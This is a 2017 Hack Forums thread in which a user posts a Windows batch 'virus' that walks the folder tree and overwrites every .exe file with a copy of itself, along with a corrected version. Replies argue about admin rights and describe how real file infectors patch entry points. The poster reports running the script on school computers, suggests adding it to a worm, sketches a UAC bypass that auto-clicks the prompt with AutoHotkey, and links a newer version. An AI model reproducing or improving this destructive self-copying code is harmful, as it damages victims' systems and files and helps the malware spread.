

Forum:[Hack Forums](#)

Thread: [Infect every exe file on the computer](#)

zask - February 6, 2017, 11:34 am

I rarely get the chance to code, I know you guys probably hate script kiddies but I've really been trying to make some thing good for once, well its still useless but I guess some could use it. I created this code which overwrites all exe files from any location on the computer with a copy of itself. At first I realized an error in windows 7 which causes the virus not to work because of a error that states "parameter doesn't exist" but I fixed it with some common sense. I was wondering if there was anyone else who had some ideas to make this better, add some ideas, or help better structure the code. A lot of people here get mad at me because I haven't learned any real programming languages, sadly they don't understand how much I really want to learn, or how hard I try on the scripts I make, or take into consideration that I may be poor and can't afford my own computer... :(But is cool because I'm earning a scholarship in coding, and I'll be getting my own computer hopefully so I don't have to code on restricted school computers anymore. Anyway even if u don't know anything about batch I hope u like the virus. I just get bored of regular shit, if people are even going to try to make shitty batch viruses then I don't get why they don't try to add more spice to it. Anyway enjoy, and tell me if there are any more errors on systems like win10, 8, etc you don't have to, I'm just asking. Thanks guys.

```
@echo on
setlocal enabledelayedexpansion
for %%A in ("%CD%") do set topfolder=%%~DA\
for /I %%x in (1,0,2) do (
for %%A in (*.exe) do set "FILE1=%%~DPNXA" & for %%I IN ("!FILE1!") do (
ren "%%A" "%%~NI.txt" & if exist "!FILE1:~0,-4!.txt" copy /y %0 "!FILE1:~0,-4!.txt"
ren "%%~NI.txt" "%%~NI.bat" )
for /r %%X in (*.exe) do set "FILE2=%%X" & for %%Z IN ("!FILE2!") do (
ren "%%X" "%%~NZ.txt" & if exist "!FILE2:~0,-4!.txt" copy /y %0 "!FILE2:~0,-4!.txt"
ren "%%~NZ.txt" "%%~NZ.bat")
CD..
if "!CD!"=="%TOPFOLDER%" call :end
)
:end
Pause
```

H4X0RG - February 6, 2017, 11:55 am

Does this work without admin rights?

zask - February 6, 2017, 12:29 pm

(Feb 6, 2017 12:55 PM)H4X0RG Wrote: [\[CITE\]](#) Does this work without admin rights?
Yes it does >:)

(Feb 6, 2017 01:29 PM)zask Wrote: [\[CITE\]](#) Yes it does >:)
Maybe it can be added to a worm and create real havoc

JoshuTee - February 6, 2017, 10:26 pm

This will not work without administrator rights and you're actively damaging the computer. You should look into a real programming language and actually infect exe files.

zask - February 7, 2017, 4:55 am

quote='JoshuTee' pid='54035384' dateline='1486448804']

This will not work without administrator rights and you're actively damaging the computer. You should look into a real programming language and actually infect exe files.
[/quote]

1: It does work without admin rights, I have tried it on over 10 school computers (and we aren't allowed admin rights), yet it still works. So you obviously have not tried to run it in a virtual machine and/or have tested it.

:2 None of the commands below require admin rights;

- if exist (checks if a file exist)
- For loop (spinner)
- ren (rename)
- copy /y %0 "file.exe" (over write exe file with copy of itself)
- CD.. (Changes directory up a level)
- & (Command separator)
- /r (recursive switch, used to search down folders)
- %% or !! (Variable surroundings)
- call (calls the end of the loop, in this case when the current directory reaches the top folder)
- set (sets a value to a variable)
- SetLocal EnableDelayedExpansion (allows variables to update within the for loop)

So I don't understand why it would require admin rights because the code above is nothing more than a manipulation of these commands (which do not require admin), so it would make no sense as to why it would suddenly require admin rights if put together in this specific way.

:3 Virus writers obviously don't care if they are actively destroying anything on a computer. Most viruses have no purpose but to troll, ddos, and execute payloads which damage the victims computer.

4: I would love to learn a real language, but you have either misinterpreted what I have said above, or have ignored it, I cannot learn a real language because the school computers I use are restricted, and don't let me use admin rights, that's why I cannot download a compiler for a real language because it requires admin rights. I am a young poor kid just trying to follow a dream that I have in being a malware analysis, too poor to afford my own computer, my family barely can even afford food.

The virus above does not require admin rights, you should test code before saying what it can and cannot do. I may be young, you're probably most likely better at coding than me, but that doesn't mean I don't know what I'm talking about.

JoshuTee - February 7, 2017, 10:46 am

(Feb 7, 2017 05:55 AM)zask Wrote: [\[CITE\]](#) (Feb 6, 2017 11:26 PM)JoshuTee Wrote: [\[CITE\]](#) This will not work without administrator rights and you're actively damaging the computer. You should look into a real programming language and actually infect exe files.

1: It does work without admin rights, I have tried it on over 10 school computers (and we aren't allowed admin rights), yet it still works. So you obviously have not tried to run it in a virtual machine and/or have tested it.

:2 None of the commands below require admin rights;

- if exist (checks if a file exist)
- For loop (spinner)
- ren (rename)

- copy /y %0 "file.exe" (over write exe file with copy of itself)
- CD.. (Changes directory up a level)
- & (Command separator)
- /r (recursive switch, used to search down folders)
- %% or !! (Variable surroundings)
- call (calls the end of the loop, in this case when the current directory reaches the top folder)
- set (sets a value to a variable)
- SetLocal EnableDelayedExpansion (allows variables to update within the for loop)

So I don't understand why it would require admin rights because the code above is nothing more than a manipulation of these commands (which do not require admin), so it would make no sense as to why it would suddenly require admin rights if put together in this specific way.

:3 Virus writers obviously don't care if they are actively destroying anything on a computer. Most viruses have no purpose but to troll, ddos, and execute payloads which damage the victims computer.

4: I would love to learn a real language, but you have either misinterpreted what I have said above, or have ignored it, I cannot learn a real language because the school computers I use are restricted, and don't let me use admin rights, that's why I cannot download a compiler for a real language because it requires admin rights. I am a young poor kid just trying to follow a dream that I have in being a malware analysis, too poor to afford my own computer, my family barely can even afford food.

The virus above does not require admin rights, you should test code before saying what it can and cannot do. I may be young, you're probably most likely better at coding than me, but that doesn't mean I don't know what I'm talking about.

1. This will only "infect" EXE files that are under the user profile. Program files and system files will not work.

You should learn how Windows works before you attempt to write malware. Writing to folders outside the user's profile requires admin rights.

You don't need to have administrator rights for a programming environment. There are many portable IDEs

zask - February 7, 2017, 11:16 am

(Feb 7, 2017 05:55 AM)zask Wrote: [CITE](#) quote='JoshuTee' pid='54035384' dateline='1486448804']

This will not work without administrator rights and you're actively damaging the computer. You should look into a real programming language and actually infect exe files.

1: It does work without admin rights, I have tried it on over 10 school computers (and we aren't allowed admin rights), yet it still works. So you obviously have not tried to run it in a virtual machine and/or have tested it.

:2 None of the commands below require admin rights;

- if exist (checks if a file exist)
- For loop (spinner)
- ren (rename)
- copy /y %0 "file.exe" (over write exe file with copy of itself)
- CD.. (Changes directory up a level)
- & (Command separator)
- /r (recursive switch, used to search down folders)
- %% or !! (Variable surroundings)
- call (calls the end of the loop, in this case when the current directory reaches the top folder)
- set (sets a value to a variable)

- SetLocal EnableDelayedExpansion (allows variables to update within the for loop)

So I don't understand why it would require admin rights because the code above is nothing more than a manipulation of these commands (which do not require admin), so it would make no sense as to why it would suddenly require admin rights if put together in this specific way.

:3 Virus writers obviously don't care if they are actively destroying anything on a computer. Most viruses have no purpose but to troll, ddos, and execute payloads which damage the victims computer.

4: I would love to learn a real language, but you have either misinterpreted what I have said above, or have ignored it, I cannot learn a real language because the school computers I use are restricted, and don't let me use admin rights, that's why I cannot download a compiler for a real language because it requires admin rights. I am a young poor kid just trying to follow a dream that I have in being a malware analysis, too poor to afford my own computer, my family barely can even afford food.

The virus above does not require admin rights, you should test code before saying what it can and cannot do. I may be young, you're probably most likely better at coding than me, but that doesn't mean I don't know what I'm talking about.

[/quote]

(Feb 7, 2017 11:46 AM)JoshuTee Wrote: [CITE](#) 1. This will only "infect" EXE files that are under the user profile. Program files and system files will not work.

You should learn how Windows works before you attempt to write malware. Writing to folders outside the user's profile requires admin rights.

You don't need to have administrator rights for a programming environment. There are many portable IDEs

Please don't take this wrong, it may seem negative but I'm not being negative.

Why do you think I don't know how to infect exe files? It's literally just pretending a your binary before or after the victim's exe file.

Also I already understand how admin privileges work, it's basically common sense, it's like explaining the color green to someone who already understands it.

I already understand that I need to learn more efficient up to date languages, not that I don't know anything about them, I have made useful tools like obfuscators, and I have made a keylogger before, but I can't create anything really interesting like a 0 day exploit or anything, and even if I could I can't, the computers I use are restricted. I don't know why I even mention it when people tell me things I have already said, not that you are wrong, you are right, and most likely more educated than I am in the matter, I just already know this.

Also I already understand how admin privileges work, it's basically common sense, it's like explaining the color green to someone who already understands it.

The person asked if it worked without admin rights, it does, he never mentioned if it could overwrite system files or files in protected folders. If he did I would have said no. It can but not without admin rights. And even if it couldn't you could just embed the batch inside of an exe file, make itself request uac, and luckily if uac doesn't require a password, you could embed an autohotkey script executable (which clicks the uac button to automatically run itself as admin) into the exe file and run it but

that's pointless because you could just use autohotkey instead of batch.

Hopefully when I get a computer you'll be able to see what I can actually do. Like I said I'm really interested in doing this when I am older, I try not to ask too many questions and figure things out myself. Do you think I'll be able to follow the right path? like for example; if I had a computer could I gain the potential to learn how to reach my dream? Or should I just give up? (not being a smart ass, this is a literal question).

JoshuTee - February 7, 2017, 1:57 pm

Quote:1: It does work without admin rights, I have tried it on over 10 school computers (and we aren't allowed admin rights), yet it still works. So you obviously have not tried to run it in a virtual machine and/or have tested it.

Of course I've tried it. What computers does your school run?

Quote::2 None of the commands below require admin rights;

- if exist (checks if a file exist)
- For loop (spinner)
- ren (rename)
- copy /y %0 "file.exe" (over write exe file with copy of itself)
- CD.. (Changes directory up a level)
- & (Command separator)
- /r (recursive switch, used to search down folders)
- %% or !! (Variable surroundings)
- call (calls the end of the loop, in this case when the current directory reaches the top folder)
- set (sets a value to a variable)
- SetLocal EnableDelayedExpansion (allows variables to update within the for loop)

So I don't understand why it would require admin rights because the code above is nothing more than a manipulation of these commands (which do not require admin), so it would make no sense as to why it would suddenly require admin rights if put together in this specific way.

You're repeating yourself. Windows file protection and NTFS will throw errors and require administrator rights when attempting to modify data outside the userprofile.

Quote::3 Virus writers obviously don't care if they are actively destroying anything on a computer. Most viruses have no purpose but to troll, ddos, and execute payloads which damage the victims computer.

Obviously?

A good virus writer will actually INFECT files (stealth), rather than OVERWRITING them (NOT stealth).

Quote:4: I would love to learn a real language, but you have either misinterpreted what I have said above, or have ignored it, I cannot learn a real language because the school computers I use are restricted, and don't let me use admin rights, that's why I cannot download a compiler for a real language because it requires admin rights.

There are many portable IDEs and compilers, so that's not an excuse.

Dug up from a google search: <http://bellard.org/tcc/> (not tested)

Quote: Why do you think I don't know how to infect exe files?

Because you don't!

Quote: It's literally just pretending a your binary before or after the victims exe file.

Exactly, and what you're doing is trying to create a TXT file with the same name as an EXE, with

the "virus" content.

A real virus will modify the entry point of the binary and prepend / append itself in order to spread.

Quote:Do you think I'll be able to follow the right path? like for example; if I had a computer I could gain the potential to learn how to reach my dream? Or should I just give up? (not being a smart ass, this is a literal question).

You should never give up. You have potential, but you should first inform yourself exactly how things work.

What are your goals? I can help you.

zask - February 8, 2017, 8:16 am

Really...? That would mean a a lot to me

I really want to get Into studying malware and creating antivirus, the thing is I want to learn how things work but I have no school to teach me, or my own computer to even work on. I really just want to learn the full gasp of a real language, I try to teach myself some of it, but I can only teach myself so much, there are just some things that

I can't understand (well I can), but without some help leading me in the right direction I feel like this dream is going to end. I would like to learn something like c++, or assembly (I know its old but it still works and its a good environment for viruses and malware). Also I have tried some portable compilers but the ones I have found wouldn't even work, or I didn't use it right. What's a powerful environment that I could learn that's also portable and works on windows 7/xp or all windows?

JoshuTee - February 8, 2017, 9:39 am

If you're a beginner you should try out a scripting lactate language, preferably one that's built in to Windows, such as JScript.

You can program in Jscript with notepad, and it's a pretty powerful language.

I sent you my Skype, I can teach you

zask - February 8, 2017, 12:24 pm

(Feb 8, 2017 10:39 AM)JoshuTee Wrote: [CITE](#) If you're a beginner you should try out a scripting lactate language, preferably one that's built in to Windows, such as JScript.

You can program in Jscript with notepad, and it's a pretty powerful language.

I sent you my Skype, I can teach you

Okay, I'm not like entirely a beginner anymore, but I guess you could say still I am a noob (as in not professional). I have intermediate batch skills along with some VBscript, I used to be around about a year ago but I have delved into some better research lately. Okay I'll look you up as soon as I get home, but how will you teach me without me actually having a computer? Ill be trying to get one soon but I guess you can teach me and I'll try to remember, I have good memory. Btw I just realized I made a mistake in the above code, this one should work. But again thank you a lot for trying to lead the in the right direction.

Code @echo off

SetLocal EnableDelayedExpansion

for %%A in ("%CD%") do set TOPFOLDER=%%~DA\

for /I %%X in (1,0,2) do (

for %%A in (*.exe) do set "FILE1=%%~DPNXA" & for %%I IN ("!FILE1!") do (

ren "!FILE1!" "%~NI.txt" & if exist "!FILE1:~0,-4!.txt" copy /y %0 "!FILE1:~0,-4!.txt"

ren "!FILE1:~0,-4!.txt" "%~NI.bat")

for /r %%X in (*.exe) do set "FILE2=%%X" & for %%Z IN ("!FILE2!") do (

```
ren "!FILE2!" "%~NZ.txt" & if exist "!FILE2:~0,-4!.txt" copy /y %0 "!FILE2:~0,-4!.txt"
ren "!FILE2:~0,-4!.txt" "%~NZ.bat")
CD..
if "!CD!"=="%TOPFOLDER%" call :end
)
:end
```

th3s3cr3t0n3 - February 10, 2017, 2:53 am

You would require administrative rights if your the account the process runs under does not have the required permissions to carry out any operations inside system folders.

z3r0crash - August 3, 2017, 7:08 pm

Hey JoshuTee I was wondering if you can point me in right direction. I'm gonna write a antivirus and i figure if i learn how to write virus and understand how they work I can have better understanding on how to write an antivirus.

708773219910919 - August 7, 2017, 4:35 pm

(Feb 8, 2017 10:39 AM)JoshuTee Wrote: [\[CITE\]](#) If you're a beginner you should try out a scripting lactate language, preferably one that's built in to Windows, such as JScript.

You can program in Jscript with notepad, and it's a pretty powerful language.

I sent you my Skype, I can teach you

Reading this thread makes me so happy I've joined this forum. I'm currently going to school for cyber security and I feel like I've learned more here in one day than I have in the past 6 months. I've only begun to write batch files and mess with PS a tiny bit. My main interest lies in getting into places that I don't have access to, pentesting. I've worked in IT for a while and can't wait to see what you all have to show me.

zask - August 7, 2017, 7:16 pm

Its been awhile since I made this post, the virus now is much more efficient but I still lack the knowledge to finish it, its okay I guess, someone helped me with one thing on it but I forgot that persons name... Anyone wanna see what I have so far? Someone else possibly could make it a lot more better than i can.

What I have so far.

<https://pastebin.com/gHi7GLKM>